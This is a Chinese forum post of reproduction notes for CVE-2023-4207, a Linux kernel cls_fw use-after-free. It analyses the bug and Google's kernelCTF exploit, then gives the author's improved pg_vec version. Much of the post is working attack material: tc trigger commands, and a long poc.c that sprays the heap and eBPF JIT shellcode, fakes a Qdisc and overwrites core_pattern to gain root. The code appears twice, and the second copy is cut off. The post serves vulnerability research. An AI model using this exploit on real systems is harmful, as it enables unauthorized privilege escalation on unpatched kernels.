-
-
[原创]CVE-2023-4207复现笔记
-
发表于: 2024-8-24 22:09 5843
-
commit:2c85ebc57b3e1817b6ce1a6b703928e113a90442
总的config:
defconfig+menuconfig
使用较高版本的gcc进行编译的话还要修改一下objtool的一个代码。
为了便于使用命令行做相应的测试,我们还要替换以下busybox中的tc工具。
busybox中的tc只有查看的功能,我们需要将其替换为我们虚拟机中的tc;
就是将我们的tc复制过去(笔者复制到了/bin/目录下),然后ldd查看相关依赖,将所有依赖文件全部按照相同路径复制即可;
先总结一下本CVE要用到的前置知识:
首先要根据看图理解linux内核网络流量控制工具tc(Traffic Control) (wujiuye.com)大体了解tc、qdisc到底是个什么东西;
然后根据POC里的命令行加深理解,以及调试相关例如fw_change函数等等;
环境方面主要是解决替换busybox中的tc的问题;
在 CVE-2023-4207 漏洞的背景下,涉及到的 cls_fw
是 Linux 内核中的一种过滤器,基于防火墙规则来分类数据包。过滤器在更新或修改时,内核会通过 fw_change()
函数来处理旧的过滤器实例并创建新的实例。由于内核处理这些过滤器实例的方式不正确,导致了 use-after-free 漏洞的产生。
源代码:
首先在源码中看fw_filter结构体的定义,注意到其中有个tcf_result类型的res成员:
在fw_change中这个f是一个fw_filter结构体:
在fw_change执行过程中,会新分配一个fw_filter 叫做 fnew,然后直接将这个tcf_result复制过去,这就相当于两个过滤器同时具有一个成员:
然后是对着旧的filter调用tcf_unbind_filter:
下面跟进看tcf_unbind_filter:
xchg是一个用于交换的宏;
所以可以看到一个replace操作最终导致了drr_class结构体的filter_cnt减一;那么如果本身该class只有一个filter的话,该替换步骤完成之后其引用计数就会被错误地减少到0;然而实际上,我们的class只是换了一个filter而已,其引用数不应该被减少;
我们接下来看删除一个class地相关源代码,我们删除drr_class的时候会首先调用到drr_delete_class函数:
如果引用计数<=0,就可以调用到drr_destroy_class:
这样就错误地释放了对应的qdisc和drr_class;
下面贴一张笔者分析的图:
下面进入这个qdisc_put函数:
其核心是qdisc_destroy:
然后会通过rcu释放,就调用到了qdsic_free,因为笔者在调试qdisc_free的时候也看到了qdisc_free_cb这个东西;
发送消息之后qdisc的行为:
如果我们发送一个满足标签和UAF-drr_class一致的消息,对应的qdisc就会在drr_enqueue函数中被引用,从而调用cl->qdisc的入队函数指针。
这要求我们给我们的流量打上标记,其实这个在exp中有所体现:
似乎需要CONFIG_NETFILTER_XT_TARGET_MARK
内核编译选项才行;
经过调试,发现他们给的ip0和ip1我用不了呜呜呜,但是笔者在Linux socket设置mark的必要性_socket mark-CSDN博客这篇文章中找到了解决办法,并成功触发poc;
然后通过进一步调试发现,其实是首先调用drr_enqueue,这是我们的流量走到了我们一开始创建的qdisc中,而正是在这个drr_enqueue中会继续通过mark匹配流量,然后就会走到我们误删的那个qdisc上,找它的第一个指针作为入队函数,劫持了它就相当于劫持了控制流;
这里记录一下调试技巧,几个重要的函数:qdisc_alloc、drr_enqueue、qdisc_free
首先是在我们激活接口的时候会调用qdisc_alloc分配一个qdisc1,然后我们add一个qdisc的时候会分配一个qdisc2,之后释放掉qdisc1,然后我们创建一个class的时候会创建一个qdisc3(这是我们的攻击目标);
之后添加一个filter,此时qdisc2作为总的qdisc,它有一个filter,filter中有class,class中又有一个qdisc,就是qdisc3;
当我们replace掉filter,旧的filter的res被复制到了新的中(仍在使用),但是旧的filter的res会参与tcf_unbind_filter,导致drr_class的引用计数减少,如果是1就减少到了0,(笔者尝试过,如果多次replace还能减少到负数);
之后我们删除掉这个class,就会检查引用计数发现是0,则可以删除drr_class,并在kfree之前先释放其qdisc(就是我们的qdisc3);
而之后如果我们发送带有相应标记的数据包,先到了总的qdisc上(也就是qdisc2),然后会继续走classify,找到qdisc3,然后调用,但是此时qdisc3已经是UAF了,所以函数指针就崩了,panic咯!
下面是几个比较重要的点:
如果对qdisc相关的分配比较感兴趣的话,可以在qdisc_alloc下断点,finish之后看返回值基本就可以看到,我们的目标之一就是去攻击创建drr_class时创建的那个qdisc,复写其前八个字节,用以劫持控制流;
而笔者认为的一个更重要的调试点是在drr_destroy_class下断点,然后查看cl:
此时,我们可以看到我们的另一个攻击目标drr_class的具体内容,在我们之后喷射kmalloc-128的结构体之后,可以重复执行该命令看是否达到了覆盖的效果;
在本节中先简单分析一下官方利用思路,笔者所复现的主体思路也是跟随着https://github.com/google/security-research/tree/499284a767851f383681ea68e485a0620ccabce2/pocs/linux/kernelctf/CVE-2023-4207_lts_cos来的。
首先要利用unshare创建一个新的namespace,保证后续的网络相关操作能够成功执行,以及设置rlimit保证我们能够拥有更多的文件:
首先要讲的一个点是下面这段代码:
这里作者通过netlink的方式来达到和执行如下命令相同的效果,以达到drr_class的引用计数被错误减少的效果:
作者同样是利用netlink给流量打标签为1,然后发包,被filter捕捉,就会由于uaf而崩溃:
有了UAF之后,作者选择了使用ctl_buf这个结构体来重写drr_class;首先笔者在这里简单分析一下ctl_buf:
在我们调用sendmsg系统调用时会有一下调用链:
具体源码路径:
下面看具体源代码:
在____sys_sendmsg中,如果我们提前将ctl_len设置为一个较大值,就可以调用到sock_kmalloc中:
而仔细看sock_kmalloc实际上最终还是调用了kmalloc,而其分配flag则是GFP_KERNEL:
经过笔者的调试sizeof(ctl) == 36,也就是说我们拥有了大于36的kmalloc任意大小分配;
但是我们要注意一个问题就是无论如何这个ctl_buf都会在最后被释放掉:
所以正常情况下,只能同时拥有一个ctf_buf,有点像setxattr;
所以这里作者使用了多线程竞争的办法来解决:
现在可以复写drr_class了,那么目标是什么呢?可以看到如下结构:
所以,这就需要在drr_class偏移0x60的地方写入一个地址,这个地址就是我们伪造的Qdisc结构体,其第一个成员放入我们想要劫持到的地址;那么问题就来了,我们现在什么内核地址都没有泄露,所以作者利用了在Linux-v6.2之前版本中cpu_entry_area不参与地址随机化,将这个伪造的结构体部署在cpu_entry_area:
现在能够劫持控制流了,但是内核中是没有one_gadget的,而开启了NX保护的情况下,我们也没法再内核随意些shellcode,这就用到了eBPF了;
首先简单介绍一个eBPF,eBPF是一个内核中的虚拟机,用户传递进去字节码,eBPF首先检查其合法性,保证不会对内核造成危害之后,将他们翻译成本地的机器码,存储在一个可执行的地址中;
eBPF在kernel-pwn中的作用主要就是我们可以利用一些手段写一小段代码到内核的可执行段中,(这对于开启了NX保护之后还是非常有用的,毕竟我们此时ret2dir大概率是不行了的);
这里首先要保证以下几个编译选项:
而具体的shellcode则用到了一些小trick:
上图所示的字节码(姑且这么叫),会被翻译成如下代码:
如果我们能够“断章取义”,劫持控制流到一个90上,那么就会是下面这个场景:
通过b3和b8结合,将mov抵消掉,我们还剩三个字节的数据可以随意写,这样我们就可以写很多不超过三字节的短指令了;
rdmsr
(Read Model-Specific Register)指令是用于从处理器的特定型号寄存器(MSR,Model-Specific Register)中读取数据的指令。MSR 是一组特定于处理器型号的寄存器,主要用于控制和调试功能,例如性能监视、系统管理模式、调试等。
攻击思路就是在eBPF机器码中先给rcx寄存器赋值为 0xC0000082,然后执行rdmsr指令,此时entry_SYSCALL_64 的地址就会被存放到 edx | eax 中,然后我们就可以在后续的shellcode中计算出来内核基地址,目标是core_pattern
和 _copy_from_user
,然后调用覆盖core_pattern实现提权;
源代码:
可以看到在bpf_jit_alloc_exec函数就是module_alloc函数的封装,其会分配一个模块加载地址,然后写入翻译好的机器码;如果搞不清地址的位置就在这里下断点;
执行效果就是先利用rdmsr指令得到entry_SYSCALL_64 的地址,然后计算出来core_pattern
_copy_from_user
的地址,然后覆盖core_pattern为提前准备好的root文件路径;之后进入到msleep休眠;
当上述内核进程进入休眠态之后,预先准备好的进程就可以触发crash以根用户权限执行root文件提权了:
在此基础之上,笔者对原作者的exp进行了一定的改进与提升,首先是UAF覆盖的问题,笔者选用了pg_vec结构体,从而使得漏洞复现不再依赖于cpu_entry_area的固定地址以及多线程喷射ctl_buf结构体。
源代码阅读:
总结来说,pg_vec的目的是为了提高数据包过滤效率,作为一个pwner需要关注的功能则是在内核空间分配一片内存(具体大小由用户说了算),然后返回一个文件描述符,并最终允许用户使用该文件描述符通过mmap建立内核地址和用户态虚拟地址的映射;而从底层层面讲,就是根据用户要求的size得到页面数,然后kcalloc一个页面数*8的空间,这个空间就可以存放页面的指针了。
我们知道drr_class来自于kmalloc-128,那么如果我们利用pg_vec申请16个页面,则pg_vec也会来自于kmalloc-128,那么就可以将原来drr_class的obj分配给pg_vec,于此同时drr_class中偏移0x60的qdisc成员就会自然而然的被写入一个内核虚拟地址,尽管我们不知道这个地址是什么,但是我们可以通过mmap实现其和用户态虚拟地址的映射,并通过对该用户态地址的写入实现直接修改其中的内容:
这样一来,至少有以下两个好处:
1.可以摆脱对cpu_entry_area的依赖,对Linux-v6.2及其以后版本的该漏洞利用依然有效;
2.pg_vec是可以长期拥有多个的,所以可以不需要使用复杂的多线程条件竞争来复写uaf-obj;
此外,pg_vec刚好用一个用户可写的地址覆盖qdisc,尽管用户并不知道这个地址是什么,难道不是有一种类似于数学中“设而不求”的美感吗?
笔者仅对poc.c进行了改进和提升,所以就只放上poc.c的代码,其余的均可通过GitHub寻找原作者的代码:https://github.com/google/security-research/tree/499284a767851f383681ea68e485a0620ccabce2/pocs/linux/kernelctf/CVE-2023-4207_lts_cos;
此外说明一下,原作者的ip0和ip1在笔者这里是不能直接使用的,所以笔者借鉴了Linux socket设置mark的必要性_socket mark-CSDN博客这篇文章中提到的方法来对数据包打标签。
完整代码如下:
pg_vec.h:
最终可以攻击成功:
看图理解linux内核网络流量控制工具tc(Traffic Control) (wujiuye.com)
qemu + busybox + gdb 构建linux内核调试环境_qemu gdb busybox-CSDN博客
Linux socket设置mark的必要性_socket mark-CSDN博客
CONFIG_CONFIGFS_FS
=
y
#支持img
CONFIG_SECURITYFS
=
y
#支持img
CONFIG_DEBUG_INFO
=
y
#调试
CONFIG_USER_NS
=
y
#支持新的namespace
CONFIG_USERFAULTFD
=
y
#支持userfaultfd
CONFIG_NET_SCHED
=
y
#漏洞触发必要选项
CONFIG_NET_CLS_FW
=
y
#漏洞触发必要选项
CONFIG_NETFILTER_XT_TARGET_MARK
=
y
CONFIG_NET_SCH_DRR
=
y
#使用drr
CONFIG_BPF
=
y
#漏洞利用所必须
CONFIG_BPF_JIT
=
y
#漏洞利用所必须
CONFIG_HAVE_EBPF_JIT
=
y
#漏洞利用所必须
CONFIG_PREEMPT
=
y
CONFIG_CONFIGFS_FS
=
y
#支持img
CONFIG_SECURITYFS
=
y
#支持img
CONFIG_DEBUG_INFO
=
y
#调试
CONFIG_USER_NS
=
y
#支持新的namespace
CONFIG_USERFAULTFD
=
y
#支持userfaultfd
CONFIG_NET_SCHED
=
y
#漏洞触发必要选项
CONFIG_NET_CLS_FW
=
y
#漏洞触发必要选项
CONFIG_NETFILTER_XT_TARGET_MARK
=
y
CONFIG_NET_SCH_DRR
=
y
#使用drr
CONFIG_BPF
=
y
#漏洞利用所必须
CONFIG_BPF_JIT
=
y
#漏洞利用所必须
CONFIG_HAVE_EBPF_JIT
=
y
#漏洞利用所必须
CONFIG_PREEMPT
=
y
https:
/
/
elixir.bootlin.com
/
linux
/
v5.
10
/
source
/
net
/
sched
/
cls_fw.c
#L237
https:
/
/
elixir.bootlin.com
/
linux
/
v5.
10
/
source
/
net
/
sched
/
cls_fw.c
#L237
https:
/
/
elixir.bootlin.com
/
linux
/
v5.
10
/
source
/
net
/
sched
/
sch_drr.c
#L197
https:
/
/
elixir.bootlin.com
/
linux
/
v5.
10
/
source
/
net
/
sched
/
sch_drr.c
#L197
https:
/
/
elixir.bootlin.com
/
linux
/
v5.
10
/
source
/
net
/
sched
/
sch_generic.c
#L965
https:
/
/
elixir.bootlin.com
/
linux
/
v5.
10
/
source
/
net
/
sched
/
sch_generic.c
#L965
unshare --
mount
--uts --ipc --net --pid --fork --map-root-user --user --
mount
-proc
/bin/sh
/bin/iptables-legacy
-t mangle -A POSTROUTING -d 127.0.0.1
/24
-j MARK --
set
-mark 1
ip link
set
dev lo up
/bin/tc
qdisc add dev lo root handle 1: drr
/bin/tc
class add dev lo parent 1: classid 1:10 drr quantum 60
/bin/tc
filter add dev lo parent 1: pref 100 protocol ip handle 1 fw classid 1:10
/bin/tc
filter replace dev lo pref 100 protocol ip handle 1 fw classid 1:10
/bin/tc
class delete dev lo classid 1:10
unshare --
mount
--uts --ipc --net --pid --fork --map-root-user --user --
mount
-proc
/bin/sh
/bin/iptables-legacy
-t mangle -A POSTROUTING -d 127.0.0.1
/24
-j MARK --
set
-mark 1
ip link
set
dev lo up
/bin/tc
qdisc add dev lo root handle 1: drr
/bin/tc
class add dev lo parent 1: classid 1:10 drr quantum 60
/bin/tc
filter add dev lo parent 1: pref 100 protocol ip handle 1 fw classid 1:10
/bin/tc
filter replace dev lo pref 100 protocol ip handle 1 fw classid 1:10
/bin/tc
class delete dev lo classid 1:10
gdb -ex
"target remote localhost:1234"
-ex
"file /mnt/hgfs/VMshare2/cve/all/CVE-2023-4207/vmlinux"
-ex
"c"
gdb -ex
"target remote localhost:1234"
-ex
"file /mnt/hgfs/VMshare2/cve/all/CVE-2023-4207/vmlinux"
-ex
"c"
ip link
set
dev lo up
/bin/tc
qdisc add dev lo root handle 1: drr
/bin/tc
class add dev lo parent 1: classid 1:10 drr quantum 60
/bin/tc
filter add dev lo parent 1: pref 100 protocol ip handle 1 fw classid 1:10
/bin/tc
filter replace dev lo pref 100 protocol ip handle 1 fw classid 1:10
/bin/tc
class delete dev lo classid 1:10
ip link
set
dev lo up
/bin/tc
qdisc add dev lo root handle 1: drr
/bin/tc
class add dev lo parent 1: classid 1:10 drr quantum 60
/bin/tc
filter add dev lo parent 1: pref 100 protocol ip handle 1 fw classid 1:10
/bin/tc
filter replace dev lo pref 100 protocol ip handle 1 fw classid 1:10
/bin/tc
class delete dev lo classid 1:10
syscall
__sys_sendmsg
____sys_sendmsg
syscall
__sys_sendmsg
____sys_sendmsg
https:
/
/
elixir.bootlin.com
/
linux
/
v5.
10
/
source
/
net
/
socket.c
#L2449
https:
/
/
elixir.bootlin.com
/
linux
/
v5.
10
/
source
/
net
/
socket.c
#L2449
CONFIG_BPF
=
y
CONFIG_BPF_JIT
=
y
CONFIG_HAVE_EBPF_JIT
=
y
CONFIG_BPF
=
y
CONFIG_BPF_JIT
=
y
CONFIG_HAVE_EBPF_JIT
=
y
https:
/
/
elixir.bootlin.com
/
linux
/
v5.
10
/
source
/
kernel
/
bpf
/
core.c
https:
/
/
elixir.bootlin.com
/
linux
/
v5.
10
/
source
/
kernel
/
bpf
/
core.c
https:
/
/
elixir.bootlin.com
/
linux
/
v6.
4
/
source
/
net
/
socket.c
#L2236
https:
/
/
elixir.bootlin.com
/
linux
/
v6.
4
/
source
/
net
/
socket.c
#L2236
https:
/
/
elixir.bootlin.com
/
linux
/
v6.
4
/
source
/
net
/
packet
/
af_packet.c
#L3766
https:
/
/
elixir.bootlin.com
/
linux
/
v6.
4
/
source
/
net
/
packet
/
af_packet.c
#L3766
https:
/
/
elixir.bootlin.com
/
linux
/
v6.
4
/
source
/
net
/
packet
/
af_packet.c
#L4353
https:
/
/
elixir.bootlin.com
/
linux
/
v6.
4
/
source
/
net
/
packet
/
af_packet.c
#L4353
#define _GNU_SOURCE
#include <sched.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <asm/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <sys/ipc.h>
#include <sys/timerfd.h>
#include <sys/msg.h>
#include <fcntl.h>
#include <err.h>
#include <sys/syscall.h>
#include <linux/aio_abi.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <pthread.h>
#include <signal.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <sys/sendfile.h>
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if
(__res == (typeof(x))-1) \
err(1,
"SYSCHK("
#x
")"
); \
__res; \
})
#define PAUSE \
{ \
printf
(
":"
); \
int
x; \
read(0, &x, 1); \
}
extern
void
write_to_cpu_entry_area(
void
*buf);
void
handle(
int
s) {}
void
set_cpu(
int
i)
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(i, &mask);
sched_setaffinity(0,
sizeof
(mask), &mask);
}
int
cfd[2];
int
sfd[0x200][2];
char
payload[0x1000];
char
buf[0x1000];
struct
sock_filter filter[0x1000];
int
stopfd[2];
const
int
DRR_CLASS_SPRAY_THREADS = 0x100;
void
*job(
void
*x)
{
size_t
idx = (
size_t
)x;
write(cfd[1], buf, 1);
read(cfd[0], buf, 1);
set_cpu(0);
struct
iovec iov = {buf, 0x1000};
struct
msghdr mhdr = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = payload,
.msg_controllen = 0x80};
sendmsg(sfd[idx][1], &mhdr, 0);
}
void
do_spray(
int
times)
{
memset
(payload,0,0x1000);
struct
cmsghdr *first;
first = (
struct
cmsghdr *)payload;
first->cmsg_len = 0x400;
first->cmsg_level = 0;
// must be different than SOL_SOCKET=1 to "skip" cmsg
first->cmsg_type = 0x41414141;
/* Try to overwrite struct drr_class's qdisc at offset 0x60 */
/* That address is at CPU#1 cpu_entry_area's entry_stack_page (stack address) while it try to push r15 in function error_entry*/
*(
size_t
*)&payload[0x60] = 0xfffffe000003df58;
for
(
int
i = 0; i < DRR_CLASS_SPRAY_THREADS; i++)
{
SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, sfd[i]));
int
n = 0x800;
setsockopt(sfd[i][1], SOL_SOCKET, SO_SNDBUF, (
char
*)&n,
sizeof
(n));
setsockopt(sfd[i][0], SOL_SOCKET, SO_RCVBUF, (
char
*)&n,
sizeof
(n));
write(sfd[i][1], buf, 0x1000);
}
pthread_t tid;
for
(
int
i = 0; i < times; i++)
pthread_create(&tid, 0, job, (
void
*)(
size_t
)i);
//read(cfd[1], buf, DRR_CLASS_SPRAY_THREADS);
}
int
sc(
void
)
{
set_cpu(1);
unsigned
int
prog_len = 0x900;
/* In current environment, the max instructions in a program is near 0x900
And we test 0x900 instructions * 0x50 forks * 0x100 sockets * 4 = 180 MB is enough large to spray and worked reliably
*/
struct
sock_filter table[] = {
{.code = BPF_LD + BPF_K, .k = 0xb3909090},
{.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}};
/* 0xb3909090 is NOPsled shellclode to make exploitation more reliable
90 nop
90 nop
90 nop
b3 b8 mov bl, 0xb8
*/
for
(
int
i = 0; i < prog_len; i++)
filter[i] = table[0];
filter[prog_len - 1] = table[1];
int
idx = prog_len - 2;
#include "sc.h"
struct
sock_fprog prog = {
.len = prog_len,
.filter = filter,
};
int
fd[2];
for
(
int
k = 0; k < 0x50; k++)
{
if
(fork() == 0)
// use fork to bypass RLIMIT_NOFILE limit.
{
close(stopfd[1]);
for
(
int
i = 0; i < 0x100; i++)
{
SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, fd));
SYSCHK(setsockopt(fd[0], SOL_SOCKET, SO_ATTACH_FILTER, &prog,
sizeof
(prog)));
}
write(stopfd[0], buf, 1);
read(stopfd[0], buf, 1);
exit
(0);
}
}
/* wait for all forks to finish spraying BPF code */
read(stopfd[1], buf, 0x50);
}
char
POC[0x1000];
// the payload generated from `tc class delete dev lo classid 1:10`
// to generate payload from `tc` command, we can breakpoint at `netlink_sendmsg`
// after `tc` command is run, and we can dump the payload using this gdb command:
// dump binary memory /tmp/tc_del msg->msg_iter.iov[0].iov_base msg->msg_iter.iov[0].iov_base+msg->msg_iter.iov[0].iov_len
// refs: https://man7.org/linux/man-pages/man7/rtnetlink.7.html https://wiki.slank.dev/book/types.html
size_t
DEL[] = {
0x0005002900000024, 0x00000000649bcb96,
0x0000000100000000, 0x0001000000010010,
0x0000000000000000};
int
check_core()
{
// Check if /proc/sys/kernel/core_pattern has been overwritten
char
buf[0x100] = {};
int
core = open(
"/proc/sys/kernel/core_pattern"
, O_RDONLY);
read(core, buf,
sizeof
(buf));
close(core);
return
strncmp
(buf,
"|/proc/%P/fd/666"
, 0x10) == 0;
}
void
crash(
char
*cmd)
{
int
memfd = memfd_create(
""
, 0);
if
(memfd < 0)
perror
(memfd);
SYSCHK(sendfile(memfd, open(
"root1"
, 0), 0, 0xffffffff));
if
(dup2(memfd, 666) < 0)
perror
(
"dup2"
);
close(memfd);
while
(check_core() == 0)
sleep(1);
/* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */
*(
size_t
*)0 = 0;
}
void
unshare_setup(uid_t uid, gid_t gid)
{
int
temp, ret;
char
edit[0x100];
ret = unshare(CLONE_NEWNET | CLONE_NEWUSER);
if
(ret < 0)
{
perror
(
"unshare"
);
}
temp = open(
"/proc/self/setgroups"
, O_WRONLY);
write(temp,
"deny"
,
strlen
(
"deny"
));
close(temp);
temp = open(
"/proc/self/uid_map"
, O_WRONLY);
snprintf(edit,
sizeof
(edit),
"0 %d 1"
, uid);
write(temp, edit,
strlen
(edit));
close(temp);
temp = open(
"/proc/self/gid_map"
, O_WRONLY);
snprintf(edit,
sizeof
(edit),
"0 %d 1"
, gid);
write(temp, edit,
strlen
(edit));
close(temp);
return
;
}
#include "key.h"
#include "pg_vec.h"
#include "sendmsg.h"
size_t
data[0x1000];
int
main(
int
argc,
char
**argv)
{
if
(fork() == 0)
// this process is used to find our process by `pidof billy`
{
set_cpu(1);
strcpy
(argv[0],
"billy"
);
while
(1)
sleep(1);
}
if
(fork() == 0)
// this process is used to trigger core_pattern exploit
{
set_cpu(1);
setsid();
crash(
""
);
}
setvbuf
(stdout, 0, 2, 0);
unshare_setup(getuid(), getgid());
socketpair(AF_UNIX, SOCK_STREAM, 0, cfd);
socketpair(AF_UNIX, SOCK_STREAM, 0, stopfd);
struct
rlimit rlim = {
.rlim_cur = 0xf000,
.rlim_max = 0xf000};
setrlimit(RLIMIT_NOFILE, &rlim);
char
*core = (
void
*)mmap((
void
*)0xa00000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANON, -1, 0);
strcpy
(core,
"|/proc/%P/fd/666"
);
// put payload string into known address which will used by ebpf shellcode
int
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
// later use this socket to trigger vuln
set_cpu(1);
puts
(
"spray ebpf program."
);
sc();
// spray ebpf program.
puts
(
"spray ebpf done"
);
getchar
();
//do_spray(); // prepare spray thread first.
set_cpu(0);
/*
ip link set dev lo up
tc qdisc add dev lo root handle 1: drr
tc class add dev lo parent 1: classid 1:10 drr quantum 60
tc filter add dev lo parent 1: pref 100 protocol ip handle 1 fw classid 1:10
tc filter replace dev lo pref 100 protocol ip handle 1 fw classid 1:10
*/
/*
generated using gdb command after breakpoint on netlink_sendmsg:
dump binary memory /tmp/POC msg->msg_iter.iov[0].iov_base msg->msg_iter.iov[0].iov_base+msg->msg_iter.iov[0].iov_len
*/
{
int
poc_fd = open(
"./POC1"
, O_RDONLY);
read(poc_fd, POC, 0x1000);
write(fd, POC, 0x1000);
}
write(fd, DEL, 0x24);
// tc class delete dev lo classid 1:10
//write(cfd[1], buf, 0x200); // spray kmalloc-0x80 to reallocate.
for
(
int
i = 1; i <= 3; i++){
///RCU宽限期
printf
(
"sleep %d\n"
, i);
sleep(1);
}
/*int kids[0x100];
char pay[0x1000];
size_t addr1 = 0xfffffe0000000000;
memset(pay, 0, sizeof(pay));
//memset(pay, 1, 96);
int quantum = 60;
memcpy(pay+0x60-0x18, &addr1, 8);
memcpy(pay+0x68, &quantum, 4);
spray_key_data(kids, 62, 96, pay);*/
int
pfds[0x100];
char
*pages[0x100];
for
(
int
i = 0; i < 0x80; i++){
pfds[i] = pagealloc_pad(16, 0x1000);
if
(pfds[i] < 0)
perror
(
"pagealloc_pad"
);
}
for
(
int
i = 0; i < 0x80; i++){
pages[i] = mmap(NULL, 0x1000*16, PROT_READ|PROT_WRITE, MAP_SHARED, pfds[i], 0);
//mmap的size要和addr对齐
if
(pages[i] == MAP_FAILED) {
perror
(
"mmap"
);
exit
(-1);
}
}
size_t
goal_addr = 0xffffffffc2003000;
for
(
int
i = 0; i < 0x80; i++){
memcpy
(pages[i]+12*0x1000, &goal_addr, 8);
}
struct
sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(80),
.sin_addr.s_addr = inet_addr(
"127.0.0.1"
),
};
size_t
fake_qdisc_struct[0x10] = {};
/* Overwrite struct Qdisc's enqueue which is function ptr
struct Qdisc {
int (*enqueue)(struct sk_buff *, struct Qdisc *, struct sk_buff * *);
struct sk_buff * (*dequeue)(struct Qdisc *);
unsigned int flags;
*/
fake_qdisc_struct[0] = 0xffffffffcc000000 - 0x800;
/*
eBPF generated shellcode is lay in this range, we spray eBPF multiple times and summarize it's often near in this page.
It's more reliabe we choose address in the middle of the page
ffffffffa0000000 |-1536 MB | fffffffffeffffff | 1520 MB | module mapping space
*/
int
c = socket(AF_INET, SOCK_DGRAM, 0);
if
(fork() == 0)
// Put payload in fixed kernel address (CVE-2023-0597)
{
set_cpu(1);
signal
(SIGFPE, handle);
signal
(SIGTRAP, handle);
signal
(SIGSEGV, handle);
setsid();
write_to_cpu_entry_area(fake_qdisc_struct);
}
sleep(1);
int
mark = 1;
if
(setsockopt(c, SOL_SOCKET, SO_MARK, &mark,
sizeof
(mark)) < 0) {
perror
(
"setsockopt"
);
}
else
printf
(
"set mark successful!"
);
/* Trigger Qdisc filter our packet and control kernel RIP */
SYSCHK(sendto(c, buf, 0x10, 0, (
void
*)&addr,
sizeof
(addr)));
SYSCHK(sendto(c, buf, 0x10, 0, (
void
*)&addr,
sizeof
(addr)));
SYSCHK(sendto(c, buf, 0x10, 0, (
void
*)&addr,
sizeof
(addr)));
SYSCHK(sendto(c, buf, 0x10, 0, (
void
*)&addr,
sizeof
(addr)));
}
#define _GNU_SOURCE
#include <sched.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <asm/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <sys/ipc.h>
#include <sys/timerfd.h>
#include <sys/msg.h>
#include <fcntl.h>
#include <err.h>
#include <sys/syscall.h>
#include <linux/aio_abi.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <pthread.h>
#include <signal.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <sys/sendfile.h>
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if
(__res == (typeof(x))-1) \
err(1,
"SYSCHK("
#x
")"
); \
__res; \
})
#define PAUSE \
{ \
printf
(
":"
); \
int
x; \
read(0, &x, 1); \
}
extern
void
write_to_cpu_entry_area(
void
*buf);
void
handle(
int
s) {}
void
set_cpu(
int
i)
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(i, &mask);
sched_setaffinity(0,
sizeof
(mask), &mask);
}
int
cfd[2];
int
sfd[0x200][2];
char
payload[0x1000];
char
buf[0x1000];
struct
sock_filter filter[0x1000];
int
stopfd[2];
const
int
DRR_CLASS_SPRAY_THREADS = 0x100;
void
*job(
void
*x)
{
size_t
idx = (
size_t
)x;
write(cfd[1], buf, 1);
read(cfd[0], buf, 1);
set_cpu(0);
struct
iovec iov = {buf, 0x1000};
struct
msghdr mhdr = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = payload,
.msg_controllen = 0x80};
sendmsg(sfd[idx][1], &mhdr, 0);
}
void
do_spray(
int
times)
{
memset
(payload,0,0x1000);
struct
cmsghdr *first;
first = (
struct
cmsghdr *)payload;
first->cmsg_len = 0x400;
first->cmsg_level = 0;
// must be different than SOL_SOCKET=1 to "skip" cmsg
first->cmsg_type = 0x41414141;
/* Try to overwrite struct drr_class's qdisc at offset 0x60 */
/* That address is at CPU#1 cpu_entry_area's entry_stack_page (stack address) while it try to push r15 in function error_entry*/
*(
size_t
*)&payload[0x60] = 0xfffffe000003df58;
for
(
int
i = 0; i < DRR_CLASS_SPRAY_THREADS; i++)
{
SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, sfd[i]));
int
n = 0x800;
setsockopt(sfd[i][1], SOL_SOCKET, SO_SNDBUF, (
char
*)&n,
sizeof
(n));
setsockopt(sfd[i][0], SOL_SOCKET, SO_RCVBUF, (
char
*)&n,
sizeof
(n));
write(sfd[i][1], buf, 0x1000);
}
pthread_t tid;
for
(
int
i = 0; i < times; i++)
pthread_create(&tid, 0, job, (
void
*)(
size_t
)i);
//read(cfd[1], buf, DRR_CLASS_SPRAY_THREADS);
}
int
sc(
void
)
{
set_cpu(1);
unsigned
int
prog_len = 0x900;
/* In current environment, the max instructions in a program is near 0x900
And we test 0x900 instructions * 0x50 forks * 0x100 sockets * 4 = 180 MB is enough large to spray and worked reliably
*/
struct
sock_filter table[] = {
{.code = BPF_LD + BPF_K, .k = 0xb3909090},
{.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}};
/* 0xb3909090 is NOPsled shellclode to make exploitation more reliable
90 nop
90 nop
90 nop
b3 b8 mov bl, 0xb8
*/
for
(
int
i = 0; i < prog_len; i++)
filter[i] = table[0];
filter[prog_len - 1] = table[1];
int
idx = prog_len - 2;
#include "sc.h"
struct
sock_fprog prog = {
.len = prog_len,
.filter = filter,
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [原创]CVE-2023-2008复现笔记 5609
- [原创]CVE-2023-0461复现笔记 5206
- [原创]CVE-2023-4208复现笔记 5316
- [原创]CVE-2023-4207复现笔记 5844